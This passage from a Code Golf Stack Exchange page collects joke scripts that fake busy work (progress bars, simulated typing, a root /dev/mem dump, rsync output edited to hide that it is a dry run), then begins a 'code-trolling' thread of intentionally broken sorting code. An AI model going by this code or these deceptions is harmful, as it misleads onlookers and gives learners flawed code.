Console.BackgroundColor = ConsoleColor.DarkBlue;\n Console.ForegroundColor = ConsoleColor.Gray;\n // FOREVER\n while (true)\n {\n TimeSpan time = TimeSpan.FromSeconds(seconds);\n // Running Time (WallTime)\n Console.SetCursorPosition(3, 11);\n string min = (time.Minutes < 10 ? \"0\" + time.Minutes : \"\" + time.Minutes);\n string sec = (time.Seconds < 10 ? \"0\" + time.Seconds : \"\" + time.Seconds);\n Console.Write(time.Hours + \":\" + min + \":\" + sec);\n // Test percentage\n Console.SetCursorPosition(34, 1);\n Console.Write((int)test + \"%\");\n // Test Progress Bar\n Console.SetCursorPosition(38, 1);\n for (int i = 0; i < test / 3; i++)\n Console.Write(\"#\");\n Console.SetCursorPosition(38, 0);\n for (int i = 0; i < pass / 3; i++)\n Console.Write(\"#\");\n // Test Number\n Console.SetCursorPosition(35, 2);\n Console.Write(testNumber + \" [\" + testNames[testNumber] + \"] \");\n if (testNumber != 0)\n {\n Console.SetCursorPosition(38, 4);\n Console.Write(pattern[test / 10]);\n }\n else\n {\n Console.SetCursorPosition(38, 4);\n Console.Write(\" \");\n }\n if (test >= 100)\n {\n test = 0;\n Console.SetCursorPosition(34, 0);\n Console.Write(pass + \"%\");\n Console.SetCursorPosition(34, 1);\n Console.Write(\" \");\n testNumber++;\n pass += 2;\n if (testNumber == 2)\n testNumber = 0;\n }\n Thread.Sleep(1000);\n test += r.Next(0, 3);\n seconds++;\n }\n }\n}\n```\n[Answer]\n# Python, 36 characters\n```\nprint(\"Opening Internet Explorer...\")\n```\n# Python, 21 characters\n```\nprint(\"Opening IE...\")\n```\n*Trying to be funny. :P*\n[Answer]\n# [AHK](http://www.autohotkey.com/)\nYou pretend to type while the script generates a bunch of accessors and mutators in JavaScript. Make sure an IDE (I tested this on Notepad++) is the active window.\nSpecify the list of variables and class name if you want. I just used what was already in `window.location`.\nPress esc to exit.\nPress 0 on your numberpad to pause when someone tries to talk to you.\nPress ctrl+w (w stands for work) to start\n```\n^w::\n loop{\n variable_names := \"hash|host|hostname|href|origin|pathname|port|protocol|search\"\n class_name := \"location\"\n StringSplit, variable_names_array, variable_names, \"|\"\n loop, %variable_names_array0%{\n Random, delay, 80, 120\n SetKeyDelay, %delay%\n current := variable_names_array%a_index%\n Send, %class_name%.prototype.\n Random, r, 800, 1300\n Sleep, %r%\n Send, get_\n Random, r, 800, 1300\n Sleep, %r%\n Send, %current%\n Random, r, 800, 1300\n Sleep, %r%\n Send, {space}={space}\n Random, r, 800, 1300\n Sleep, %r%\n Send, function(){{}{enter}\n Random, r, 800, 1300\n Sleep, %r%\n Send, {tab}\n Random, r, 800, 1300\n Sleep, %r%\n Send, return this.\n Random, r, 800, 1300\n Sleep, %r%\n Send, %current%;{enter}\n Random, r, 800, 1300\n Sleep, %r%\n Send, {BackSpace}{}}\n Random, r, 800, 1300\n Sleep, %r%\n Send, {enter}{enter}\n Random, r, 800, 1300\n Sleep, %r%\n Send, %class_name%.prototype.\n Random, r, 800, 1300\n Sleep, %r%\n Send, set_\n Random, r, 800, 1300\n Sleep, %r%\n Send, %current%\n Random, r, 800, 1300\n Sleep, %r%\n Send, {space}={space}\n Random, r, 800, 1300\n Sleep, %r%\n Send, function(%current%){{}{enter}\n Random, r, 800, 1300\n Sleep, %r%\n Send, {tab}\n Random, r, 800, 1300\n Sleep, %r%\n Send, this.\n Random, r, 800, 1300\n Sleep, %r%\n Send, %current% ={space}\n Random, r, 800, 1300\n Sleep, %r%\n Send, %current%;{enter}\n Random, r, 800, 1300\n Sleep, %r%\n Send, return this;{enter}\n Random, r, 800, 1300\n Sleep, %r%\n Send, {BackSpace}{}}\n Random, r, 800, 1300\n Sleep, %r%\n Send, {enter}{enter}\n Random, r, 800, 1300\n Sleep, %r%\n }\n }\nreturn\nesc::\n ExitApp\n return\nnumpad0::\n Pause, toggle\n return\n```\n[Answer]\n# Bash\nDumps a random block of physical memory and looks at the contents. Going to need to be root for this. Only the [first 1MB of memory](https://stackoverflow.com/questions/11891979/accessing-mmaped-dev-mem) is available by default. `dd` default block size is 512 bytes, that can be changed with option `ibs=bytes` but keep in mind the other option `skip=$offset` which picks a block at random. Output from `dd` is sent through `tr` to remove non ASCII characters; only unique results 2 characters or longer are evaluated.\nEach string found is compared to a dictionary. If no matches are found, it attempts to decode as base64. Finally, all the strings evaluated are returned.\nThere are several other platform dependent options to be aware of, such as location of dictionary file (/usr/share/dict/words), whether sleep accepts floating point inputs, and if `base64` is available.\nAlso, be aware that `dd` outputs stats on the operation performed to stderr, which is piped to /dev/null. If something were to go horribly wrong (you are accessing /dev/mem ...) the stderr output won't be visible.\nOverall, not very useful, but I learned a bit about linux memory and writing this script turned out to be fun.\n```\n#!/bin/bash\noffset=`expr $RANDOM % 512`\nmem=`dd if=/dev/mem skip=$offset count=1 2>/dev/null| tr '[\\000-\\040]' '\\n' | tr '[\\177-\\377'] '\\n' | sort -u | grep '.\\{2,\\}'`\nresults=\"\"\nfor line in $mem\ndo\n echo \"Evaluating $line\"\n greps=`grep \"^$line\" /usr/share/dict/words | head`\n if [ -n \"$greps\" ]\n then\n echo \"Found matches.\"\n echo $greps\n else\n #echo \"No matches in dictionary. Attempting to decode.\"\n decode=`echo \"$line\" | base64 -d 2>/dev/null`\n if [ $? -ne 1 ]\n then\n echo \"Decode is good: $decode\"\n #else\n #echo \"Not a valid base64 encoded string.\"\n fi\n fi\n results+=\" $line\"\n # make it look like this takes a while to process\n sleep 0.5\ndone \nif (( ${#results} > 1 ))\nthen\n echo \"Done processing input at block $offset: $results\"\nfi\n```\nSometimes there's no interesting output (all zeroes). Sometimes there are only a few strings:\n```\ncodegolf/work# ./s \nEvaluating @~\nEvaluating 0~\nEvaluating ne\nFound matches.\nne nea neal neallotype neanic neanthropic neap neaped nearable nearabout\nDone processing input at block 319: @~ 0~ ne\n```\nSometimes there is actually something human readable in memory (before I was logging block offset):\n```\ncodegolf/work# ./s \nEvaluating grub_memset\nEvaluating grub_millisleep\nEvaluating grub_mm_base\nEvaluating grub_modbase\nEvaluating grub_named_list_find\nEvaluating grub_net_open\nEvaluating grub_net_poll_cards_idle\nEvaluating grub_parser_cmdline_state\nEvaluating grub_parser_split_cmdline\nEvaluating grub_partition_get_name\nEvaluating grub_partition_iterate\nEvaluating grub_partition_map_list\nEvaluating grub_partition_probe\nEvaluating grub_pc_net_config\nEvaluating grub_pit_wait\nEvaluating grub_print_error\nEvaluating grub_printf\nEvaluating grub_printf_\nEvaluating grub_puts_\nEvaluating grub_pxe_call\nEvaluating grub_real_dprintf\nEvaluating grub_realidt\nEvaluating grub_realloc\nEvaluating grub_refresh\nEvaluating grub_register_command_prio\nEvaluating grub_register_variable_hook\nEvaluating grub_snprintf\nEvaluating grub_st\nEvaluating grub_strchr\nEvaluating _memmove\nDone processing input: grub_memset grub_millisleep grub_mm_base \n grub_modbase grub_named_list_find grub_net_open grub_net_poll_cards_idle\n grub_parser_cmdline_state grub_parser_split_cmdline \n grub_partition_get_name grub_partition_iterate grub_partition_map_list \n grub_partition_probe grub_pc_net_config grub_pit_wait grub_print_error \n grub_printf grub_printf_ grub_puts_ grub_pxe_call grub_real_dprintf \n grub_realidt grub_realloc grub_refresh grub_register_command_prio \n grub_register_variable_hook grub_snprintf grub_st grub_strchr _memmove\n```\nAnd one last sample run showing malformed grep input, dictionary hits, and a successful base64 decode (before logging block offset again):\n```\ncodegolf/work# ./s \nEvaluating TOUPPER =\n CaseFormat.LOWER_CAMEL.converterTo(CaseFormat.UPPER_CAMEL);\n public static final Converter TOLOWER =\n CaseFormat.UPPER_CAMEL.converterTo(CaseFormat.LOWER_CAMEL);\n \n public static final String[] TYPES = new String[]{\n \"int\", \"long\", \"double\", \"String\"\n };\n \n public static final List DEFAULT_LIST = Arrays.asList(new String[]{\n \"the\", \"and\", \"for\", \"you\", \"say\", \"but\", \"his\", \"not\", \"she\", \"can\",\n \"who\", \"get\", \"her\", \"all\", \"one\", \"out\", \"see\", \"him\", \"now\", \"how\",\n \"its\", \"our\", \"two\", \"way\", \"new\", \"day\", \"use\", \"man\", \"one\", \"her\",\n \"any\", \"may\", \"try\", \"ask\", \"too\", \"own\", \"out\", \"put\", \"old\", \"why\",\n \"let\", \"big\", \"few\", \"run\", \"off\", \"all\", \"lot\", \"eye\", \"job\", \"far\",\n \"have\", \"that\", \"with\", \"this\", \"they\", \"from\", \"that\", \"what\", \"make\", \"know\",\n \"will\", \"time\", \"year\", \"when\", \"them\", \"some\", \"take\", \"into\", \"just\", \"your\",\n \"come\", \"than\", \"like\", \"then\", \"more\", \"want\", \"look\", \"also\", \"more\", \"find\",\n \"here\", \"give\", \"many\", \"well\", \"only\", \"tell\", \"very\", \"even\", \"back\", \"good\",\n \"life\", \"work\", \"down\", \"call\", \"over\", \"last\", \"need\", \"feel\", \"when\", \"high\",\n \"their\", \"would\", \"about\", \"there\", \"think\", \"which\", \"could\", \"other\", \"these\", \"first\",\n \"thing\", \"those\", \"woman\", \"child\", \"there\", \"after\", \"world\", \"still\", \"three\", \"state\",\n \"never\", \"leave\", \"while\", \"great\", \"group\", \"begin\", \"where\", \"every\", \"start\", \"might\",\n \"about\", \"place\", \"again\", \"where\", \"right\", \"small\", \"night\", \"point\", \"today\", \"bring\",\n \"large\", \"under\", \"water\", \"write\", \"money\", \"story\", \"young\", \"month\", \"right\", \"study\",\n \"people\", \"should\", \"school\", \"become\", \"really\", \"family\", \"system\", \"during\", \"number\", \"always\",\n \"happen\", \"before\", \"mother\", \"though\", \"little\", \"around\", \"friend\", \"father\", \"member\", \"almost\",\n \"change\", \"minute\", \"social\", \"follow\", \"around\", \"parent\", \"create\", \"others\", \"office\", \"health\",\n \"person\", \"within\", \"result\", \"change\", \"reason\", \"before\", \"moment\", \"enough\", \"across\", \"second\",\n \"toward\", \"policy\", \"appear\", \"market\", \"expect\", \"nation\", \"course\", \"behind\", \"remain\", \"effect\",\n \"because\", \"through\", \"between\", \"another\", \"student\", \"country\", \"problem\", \"against\", \"company\", \"program\",\n \"believe\", \"without\", \"million\", \"provide\", \"service\", \"however\", \"include\", \"several\", \"nothing\", \"whether\",\n \"already\", \"history\", \"morning\", \"himself\", \"teacher\", \"process\", \"college\", \"someone\", \"suggest\", \"control\",\n \"perhaps\", \"require\", \"finally\", \"explain\", \"develop\", \"federal\", \"receive\", \"society\", \"because\", \"special\",\n \"support\", \"project\", \"produce\", \"picture\", \"product\", \"patient\", \"certain\", \"support\", \"century\", \"culture\"\n });\n \n private static final int CLASS_NAME_LENGTH = 2;\n \n private final WordList wordList;\n private final Appendable out;\n private final Random r = new Random();\n \n private CodeGenerator(WordList wordList, Appendable out) {\n this.wordList = wordList;\n this.out = out;\n }\n public static void main(String... args) throws Exception {\n List wordSource = getWords(args);\n WordList list = new WordList(wordSource);\n SleepingAppendable out = new SleepingAppendable(System.out);\n CodeGenerator generator = new CodeGenerator(list, out);\n while(!Thread.interrupted()) {\n generator.generate();\n try {\n Thread.sleep(60000);\n } catch (InterruptedException e) {\n break;\n }\n out.setSleeping(false);\n for(int i = 0; i < 100; i++) {\n out.append(System.lineSeparator());\n }\n out.setSleeping(true);\n }\n }\n private static List getWords(String[] args) {\n if(args.length > 0) {\n try {\n return getListFromFile(args[0]);\n } catch(IOException e) { }\n }\n return DEFAULT_LIST;\n }\n private static List getListFromFile(String string) throws IOException {\n List newList = Lists.newArrayList();\n \n File f = new File(string);\n Scanner s = new Scanner(f);\n \n while(s.hasNext()) {\n newList.add(s.nextLine());\n }\n \n return newList;\n }\n private void generate() throws IOException {\n String className = beginClass();\n List finalFields = generateFields(true);\n printFields(finalFields);\n out.append(System.lineSeparator());\n List mutableFields = generateFields(false);\n printFields(mutableFields);\n out.append(System.lineSeparator());\n printConstructor(className, finalFields);\n printGetters(finalFields);\n printGetters(mutableFields);\n printSetters(mutableFields);\n endClass();\n }\n private void printGetters(List fields) throws IOException {\n for(Field f : fields) {\n out.append(System.lineSeparator());\n f.printGetter(out);\n }\n }\n \n private void printSetters(List fields) throws IOException {\n for(Field f : fields) {\n out.append(System.lineSeparator());\n f.printSetter(out);\n }\n }\n private void printConstructor(String className, List finalFields) throws IOException {\n out.append(\"\\tpublic \").append(className).append('(');\n printArgs(finalFields);\n out.append(\") {\").append(System.lineSeparator());\n for(Field f : finalFields) {\n f.printAssignment(out);\n }\n out.append(\"\\t}\").append(System.lineSeparator());\n }\n private void printArgs(List finalFields) throws IOException {\n if(finalFields.size() == 0) return;\n \n Iterator iter = finalFields.iterator();\n \n while(true) {\n Field next = iter.next();\n next.printTypeAndName(out);\n if(!iter.hasNext()) break;\n out.append(\", \");\n }\n }\n private List generateFields(boolean isfinal) {\n int numFields = r.nextInt(3) + 2;\n List newFields = Lists.newArrayListWithCapacity(numFields);\n for(int i = 0; i < numFields; i++) {\n String type = TYPES[r.nextInt(4)];\n newFields.add(new Field(type, wordList.makeLower(r.nextInt(2) + 1), isfinal));\n }\n return newFields;\n }\n \n private void printFields(List finalFields) throws IOException {\n for(Field f : finalFields) {\n f.printFieldDeclaration(out);\n }\n }\n private String beginClass() throws IOException {\n out.append(\"public class \");\n String className = wordList.nextClassName(CLASS_NAME_LENGTH);\n out.append(className).append(\" {\").append(System.lineSeparator());\n \n return className;\n }\n \n private void endClass() throws IOException {\n out.append(\"}\");\n }\n \n private static class WordList {\n private final Random r = new Random();\n private final List source;\n \n private WordList(List source) {\n this.source = source;\n }\n \n private String makeUpper(int length) {\n StringBuilder sb = new StringBuilder();\n for(int i = 0; i < length; i++) {\n sb.append(randomWord());\n }\n return sb.toString();\n }\n \n private String makeLower(int length) {\n return TOLOWER.convert(makeUpper(length));\n }\n \n private String randomWord() {\n int sourceIndex = r.nextInt(source.size());\n return TOUPPER.convert(source.get(sourceIndex).toString().toLowerCase());\n }\n \n public String nextClassName(int length) {\n return makeUpper(length);\n }\n }\n \n private static class Field {\n private final String type;\n private final String fieldName;\n private final boolean isfinal;\n \n Field(String type, String fieldName, boolean isfinal) {\n this.type = type;\n this.fieldName = fieldName;\n this.isfinal = isfinal;\n }\n \n void printFieldDeclaration(Appendable appendable) throws IOException {\n appendable.append(\"\\tprivate \");\n if(isfinal) appendable.append(\"final \");\n printTypeAndName(appendable);\n appendable.append(';').append(System.lineSeparator());\n }\n void printTypeAndName(Appendable appendable) throws IOException {\n appendable.append(type).append(' ').append(fieldName);\n }\n \n void printGetter(Appendable appendable) throws IOException {\n appendable.append(\"\\tpublic \");\n appendable.append(type).append(\" get\").append(TOUPPER.convert(fieldName));\n appendable.append(\"() {\").append(System.lineSeparator());\n appendable.append(\"\\t\\treturn \").append(fieldName).append(';');\n appendable.append(System.lineSeparator()).append(\"\\t}\").append(System.lineSeparator());\n }\n \n void printSetter(Appendable appendable) throws IOException {\n appendable.append(\"\\tpublic void set\");\n appendable.append(TOUPPER.convert(fieldName));\n appendable.append(\"(\").append(type).append(' ').append(fieldName);\n appendable.append(\") {\").append(System.lineSeparator());\n printAssignment(appendable);\n appendable.append(\"\\t}\").append(System.lineSeparator()); \n }\n \n void printAssignment(Appendable appendable) throws IOException {\n appendable.append(\"\\t\\tthis.\").append(fieldName).append(\" = \").append(fieldName);\n appendable.append(';').append(System.lineSeparator());\n }\n }\n \n private static class SleepingAppendable implements Appendable {\n private Random r = new Random();\n private Appendable backing;\n \n private boolean sleeping = true;\n \n public SleepingAppendable(Appendable backing) {\n this.backing = backing;\n }\n \n @Override\n public Appendable append(CharSequence csq) throws IOException {\n return append(csq, 0, csq.length());\n }\n @Override\n public Appendable append(CharSequence csq, int start, int end)\n throws IOException {\n for(int i = start; i < end; i++) {\n append(csq.charAt(i));\n }\n \n sleep(100, 300);\n \n return this;\n }\n @Override\n public Appendable append(char c) throws IOException {\n sleep(170, 80);\n \n backing.append(c);\n \n return this;\n }\n \n private void sleep(int base, int variation) {\n if(!sleeping) return;\n try {\n Thread.sleep((long) (r.nextInt(80) + 70));\n } catch (InterruptedException e) {\n }\n }\n public boolean isSleeping() {\n return sleeping;\n }\n public void setSleeping(boolean sleeping) {\n this.sleeping = sleeping;\n }\n }\n}\n```\nSample program output (just one program)\n```\npublic class GetGroup {\n private final double thoughRight;\n private final double socialYear;\n private final double manOne;\n private final int appear;\n private double man;\n private double comeHis;\n private double certain;\n public GetGroup(double thoughRight, double socialYear, double manOne, int appear) {\n this.thoughRight = thoughRight;\n this.socialYear = socialYear;\n this.manOne = manOne;\n this.appear = appear;\n }\n public double getThoughRight() {\n return thoughRight;\n }\n public double getSocialYear() {\n return socialYear;\n }\n public double getManOne() {\n return manOne;\n }\n public int getAppear() {\n return appear;\n }\n public double getMan() {\n return man;\n }\n public double getComeHis() {\n return comeHis;\n }\n public double getCertain() {\n return certain;\n }\n public void setMan(double man) {\n this.man = man;\n }\n public void setComeHis(double comeHis) {\n this.comeHis = comeHis;\n }\n public void setCertain(double certain) {\n this.certain = certain;\n }\n}\n```\nAnother sample output:\n```\npublic class TryControl {\n private final int over;\n private final double thatState;\n private final long jobInto;\n private final long canPut;\n private int policy;\n private int neverWhile;\n public TryControl(int over, double thatState, long jobInto, long canPut) {\n this.over = over;\n this.thatState = thatState;\n this.jobInto = jobInto;\n this.canPut = canPut;\n }\n public int getOver() {\n return over;\n }\n public double getThatState() {\n return thatState;\n }\n public long getJobInto() {\n return jobInto;\n }\n public long getCanPut() {\n return canPut;\n }\n public int getPolicy() {\n return policy;\n }\n public int getNeverWhile() {\n return neverWhile;\n }\n public void setPolicy(int policy) {\n this.policy = policy;\n }\n public void setNeverWhile(int neverWhile) {\n this.neverWhile = neverWhile;\n }\n}\n```\n[Answer]\n# bash\nOutput some comments from random source files at random intervals, followed by a randomly generated do-nothing progress bar.\n```\n#!/bin/bash\n# The directory to extract source comments from\nsrcdir=~/src/php-src/\n# Generate a status bar that lasts a random amount of time.\n# The actual amount of time is somewhere between 1.5 and 30\n# seconds... I think. I fudged this around so much it's hard to tell.\nfunction randstatus() {\n bsize=4096\n r_rate=$(echo \"$RANDOM/32767 * $bsize * 1.5 + $bsize / 4\" | bc -l | sed 's/\\..*$//')\n r_min=3\n r_max=15\n r_val=$(($r_min + $RANDOM % $(($r_max - $r_min)) ))\n i=0\n dd if=/dev/urandom bs=$bsize count=$r_val 2> /dev/null | pv -L $bsize -s $(($r_val * bsize)) > /dev/null\n}\n# Picks a random .c file from the given directory, parses\n# out one-line comments, and outputs them one by one with a\n# random delay between each line.\nfunction randout() {\n r_file=$(find $1 -name '*.c' | sort -R | head -n 1)\n echo \"# $r_file\"\n grep '^\\s*/\\*.*\\*/\\s*$' $r_file | sed 's:[/\\*]::g' | sed -e 's:^\\s\\+::' -e 's:\\s\\+$::' | sed -e 's:^\\W\\+::' | grep -v '^$' | while read line; do\n echo $line\n sleep $(printf \"%0.2f\" $(echo \"$((($RANDOM%4)+1))/4\" | bc -l))\n done\n}\nwhile true; do\n randout $srcdir\n randstatus\n # sleep here to make it easier to break out of the 'while read' loop\n sleep 2\ndone\n```\nOutput:\n```\n# /home/jerkface/src/php-src/sapi/fpm/fpm/fpm_shm.c\nId: fpm_shm.c,v 1.3 20080524 17:38:47 anight Exp $\nc) 2007,2008 Andrei Nigmatulin, Jerome Loyet\nMAP_ANON is deprecated, but not in macosx\n 32kB 0:00:08 [3.97kB/s] [====================================================================>] 100%\n# /home/jerkface/src/php-src/ext/mbstring/mb_gpc.c\nId$\nincludes\nmbfl_no_encoding _php_mb_encoding_handler_ex()\nsplit and decode the query\ninitialize converter\nauto detect\nconvert encoding\nwe need val to be emalloc()ed\nadd variable to symbol table\nSAPI_POST_HANDLER_FUNC(php_mb_post_handler)\n 12kB 0:00:03 [4.02kB/s] [===============> ] 24% ETA 0:00:09\n```\n[Answer]\n## Rsync form BASH\n```\n rsync -n -avrIc --verbose ~ ~ | sed s/\"(DRY RUN)\"/\"\"/g \n# Note the space at the beginning of the above line,\n```\n***rsync*** - a fast, versatile, remote (and local) file-copying tool...\nthat with *-n* performs a *dry run*, only try to do, do not really do, and shows what happens. \nIn this case try to check if to update all file of your home directory (and *sub-folders*). \nIf you have the root access of course you can run it on a bigger part of your filesystem. \n**Notes:**\n1. If `HISTCONTROL=ignoreboth` or at least `HISTCONTROL=ignorespace` in your *bash session* your *bash history* will not remember that command if you write it with a space before. (You cannot push up and see it on the screen, neither in the *history log*).\n2. `| sed s/\"(DRY RUN)\"/\"\"/g` will pipe the output through `sed` that will erase the `(DRY RUN)` text at the end of the rsync output. If an expert check you can say you really doing that, not only testing.\n3. `-avrIc` you can change those options, check on `man rsync`, but **never remove the `-n`**, else you should have serious problem, even more if you run as root... `8-O`!\n[Answer]\n**Maven under bash**\nMaven is just perfect for this kind of task ;-)\n```\nwhile true;\ndo mvn -X archetype:generate -DgroupId=com.mycompany.app -DartifactId=my-app -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false;\ndone\n```\n[Answer]\n# Cobra\nThis opens a console window that loops through various fake objects and assorted things, incrementing in passes and progress for each pass. It waits for a small random time each increment, to simulate actual computation delays.\n```\nclass Does_Nothing_Useful\n var _rng as Random = Random()\n var _hash\n var _pass\n var _names as String[] = @['Vector', 'Object', 'File', 'Index', 'Report', 'Library', 'Entry', 'Log', 'Resource', 'Directory']\n def main\n while true\n .refresh\n name as String = _names[_rng.next(_names.length)] + ' ' + _hash.toString\n for i in _pass\n progress as decimal = 0\n while progress < 100000\n progress += _rng.next(1000)\n print name + '; pass', i, ' : ', progress/1000\n wait as int = 0\n for n in _rng.next(50), wait += _rng.next(1,100)\n System.Threading.Thread.sleep(wait)\n print name + '; pass', i, '--FINISHED--'\n print ''\n System.Threading.Thread.sleep(_rng.next(1000,17500))\n print name, '--EVAL COMPLETE--'\n print ''\n System.Threading.Thread.sleep(_rng.next(12500,30000))\n def refresh\n _hash = _rng.next.getHashCode\n _pass = _rng.next(256)\n print '--LOADING NEXT TARGET--'\n print ''\n System.Threading.Thread.sleep(_rng.next(12500,30000))\n```\n[Answer]\nI wrote a stupid python script to do this once. Called \"ProgramAboutNothing\"... I'm not sure it's that convincing but it only took me about 10 minutes. It just outputs random sentences describing what it is supposedly doing... I could probably have chosen better words for it that might look more convincing but I never actually used it properly. I guess if someone wants to use it they can edit it and add their own words in the lists... Fans of Sim City might notice something familiar, though. :P\n```\nfrom random import randrange\nfrom time import sleep\nnouns = [\"bridge\", \"interface\", \"artifact\", \"spline\"]\nverbs = [\"building\", \"articulating\", \"reticulating\", \"compiling\", \"analyzing\"]\nadjectives = [\"mix\", \"abstract\", \"essential\"]\nwhile True:\n one = randrange(0,5)\n two = randrange(0,4)\n print \"%s %s\" % (verbs[one], nouns[two]),\n sleep(randrange(0,500)/100)\n print \".\",\n sleep(randrange(0,500)/100)\n print \".\",\n sleep(randrange(0,500)/100)\n print \".\\n\",\n loop = randrange(0,50)\n one = randrange(0,5)\n for i in range(loop):\n two = randrange(0,4)\n three = randrange(0,3)\n print \"%s %s %s\" % (verbs[one], nouns[two], adjectives[three]),\n sleep(randrange(0,250)/100)\n print \".\",\n sleep(randrange(0,250)/100)\n print \".\",\n sleep(randrange(0,250)/100)\n print \".\\n\",\n```\n[Answer]\nHow about this one? It will download the codegolf HTML data every 1 second. So, the data will keep on changing as long as the newer questions come in. At the same time, it will also appear as if you are downloading some critical data from a website. \n```\nwhile true; do \nsleep 1; \ncurl \"codegolf.stackexchange.com\" -s | w3m -dump -T text/html; \ndone\n```\n[Answer]\n# Bash\nThe recursive directory list:\n```\nll -R /\n```\n[Answer]\nThis is a C++ Compiler Simulation (written in C#):\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Management;\nusing System.Text;\nusing System.Threading;\nusing System.Threading.Tasks;\nusing System.IO;\nusing System.Reflection;\nclass FakeCompiler {\n static void DoPrint(string txt) {\n Console.WriteLine(\"Compiling \" + txt);\n Thread.Sleep(1000);\n }\n static string Extract(string TypeName) {\n string rt = TypeName.Split(new Char[] {'.'})[ TypeName.Split(new Char[] {'.'}).Length - 1 ];\n if (rt.Contains(\"+\")) {\n rt = rt.Split(new char[] { '+' })[1];\n }\n if (rt.Contains(\"[\")) {\n rt = rt.Split(new char[] { '[' })[0];\n }\n return rt;\n }\n static void DoCompileSingleFile(string _Type_Name) {\n string print = Extract(_Type_Name);\n DoPrint(print + \".h\");\n DoPrint(print + \".cpp\");\n }\n static Type[] DoFakeCompile_Assembly(string _AssemblyFileName) {\n System.Reflection.Assembly _asm = System.Reflection.Assembly.Load(_AssemblyFileName);\n Type[] _ts = _asm.GetTypes();\n for (int h = 0; h < 15; ++h) {\n DoCompileSingleFile(_ts[h].ToString());\n }\n return _ts;\n }\n static void DoFakeLinkErrors(Type[] t) {\n Console.WriteLine(\"linking..\");\n Thread.Sleep(2000);\n MethodInfo[] mi;\n for (int i = 0; i < t.Length; ++i) {\n mi = t[i].GetMethods();\n for (int j = 0; j < mi.Length; ++j) {\n Console.WriteLine(\"Link Error: The object {@!\" + mi[j].ToString().Split(new char[] {' '})[0] + \"#$? is already defined in \" + Extract(t[i].ToString()) + \".obj\");\n Thread.Sleep(200);\n }\n }\n }\n static void Main(string[] args) {\n Console.WriteLine(\"Fictional C/C++ Optimizing Command-line Compiler Version 103.33.0\");\n DoFakeLinkErrors(DoFakeCompile_Assembly(\"mscorlib.dll\"));\n }\n}\n```\n[Answer]\n# xdotool and an IDE (for example eclipse)\nFor X11 users.\nUse this script and make sure you just `Alt`+`tab`'ed from Eclipse. You need a java file. For example here: \n```\n#!/bin/sh\nxdotool key alt+Tab\nxdotool sleep 0.2\nxdotool type --delay 300 \"$(cat LongestWord.java)\"\nxdotool key alt+Tab\n```\n[Answer]\n# Batch\nPlace in a folder with a lot of files. If it scrolls by fast enough, no one will suspect anything.\n```\n:l\ndir/s\necho %RANDOM%\necho %RANDOM%\necho %RANDOM% \ngoto l\n```\n[Answer]\n```\nemerge @world\n```\nfull recompile on gentoo\n]"}}},{"rowIdx":21,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.\n \n \n**Note: This question was severely edited since I first posted it here. The rules were moved to [here](https://codegolf.stackexchange.com/tags/code-trolling/info), read them before posting any answer to understand the purpose of this. This was the first question created in the [code-trolling](/questions/tagged/code-trolling \"show questions tagged 'code-trolling'\") category.**\nImagine a lazy user on Stack Overflow asks this question:\n> \n> I need a program where the user inputs an array of doubles and the program outputs the array sorted. Could you please give the code?\n> \n> \n> \nHow could you create a piece of code that will troll this user? Create a piece of code that will appear useful to an inexperienced programmer but is utterly useless in practice.\nThe winner is the most upvoted answer, except if the answer is somehow not eligible (for eligibility requirements, check the tag wiki description of [code-trolling](/questions/tagged/code-trolling \"show questions tagged 'code-trolling'\")). If the previously most upvoted answer is beaten in the future in the number of upvotes after being accepted, the new best answer is accepted and the previous one is unaccepted. In the case of a tie, I will choose the winner at will among the tied ones or just wait a bit more.\nAnswers that have no code are not eligible. They might be fun and get some upvotes, but they won't be accepted.\nRules can be found at [tag description](https://codegolf.stackexchange.com/tags/code-trolling/info).\nNote: This is a [code-trolling](/questions/tagged/code-trolling \"show questions tagged 'code-trolling'\") question. Please do not take the question and/or answers seriously. More information [here](https://codegolf.stackexchange.com/tags/code-trolling/info).\n \n[Answer]\nHere it is in java. It is utter cheating, unacceptable and unfixable because it creates a MySQL database, insert the number there, do a select with an ORDER BY clause and outputs the numbers given by MySQL. In fact, it is MySQL who is doing the sorting, not the program.\n```\npackage sorter;\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.util.ArrayList;\nimport java.util.List;\nimport javax.swing.JOptionPane;\npublic class SortingAlgorithm {\n private static final String CREATE_DB = \"CREATE DATABASE sorting\";\n private static final String DROP_DB = \"DROP DATABASE sorting\";\n private static final String CREATE_TABLE = \"CREATE TABLE sorting.sorting ( num double not null )\";\n public static void main(String[] args) throws Exception {\n Class.forName(\"com.mysql.jdbc.Driver\");\n List doubles = new ArrayList<>(50);\n String typed;\n do {\n typed = JOptionPane.showInputDialog(null, \"Type a double:\");\n if (typed != null) doubles.add(Double.parseDouble(typed));\n } while (typed != null);\n List sorted = new ArrayList<>(50);\n try (Connection con = DriverManager.getConnection(\"jdbc:mysql://localhost:3306\", \"root\", \"root\")) {\n try (PreparedStatement ps = con.prepareStatement(CREATE_DB)) {\n ps.executeUpdate();\n }\n try (PreparedStatement ps = con.prepareStatement(CREATE_TABLE)) {\n ps.executeUpdate();\n }\n for (Double d : doubles) {\n try (PreparedStatement ps = con.prepareStatement(\"INSERT INTO sorting.sorting (num) VALUES (\" + d + \")\")) {\n ps.executeUpdate();\n }\n }\n try (\n PreparedStatement ps = con.prepareStatement(\"SELECT * FROM sorting.sorting ORDER BY num\");\n ResultSet rs = ps.executeQuery())\n {\n while (rs.next()) {\n sorted.add(rs.getDouble(\"num\"));\n }\n }\n try (PreparedStatement ps = con.prepareStatement(DROP_DB)) {\n ps.executeUpdate();\n }\n }\n JOptionPane.showMessageDialog(null, \"The array sorted is: \" + sorted);\n }\n}\n```\n[Answer]\nSometimes the community here doesn't like to help with homework. That's why you are getting so many joke answers. But I like to help. Here is a complete solution in 'C' (since I assume you want to learn \"programming\", not \"scripting\" with Java or Ruby). I've included many tips that I wish I had known when I was first learning\n```\n#include \n//Always use meaningful names for types\ntypedef unsigned char boolean;\n#define True 't'\n#define FALSE (!True)\n//this is a really neat trick for swapping values efficiently\nvoid swap(long* a,long *b) { *a=*a^*b;*b=*b^*a;*a=*a^*b; }\n//Here's a readability improvement\n#define until(condition) while(!(condition))\nint main(int n, char*args[]){\n double *d;\n int i;\n char input[5]; //should be long enough for most doubles.\n boolean sorted = 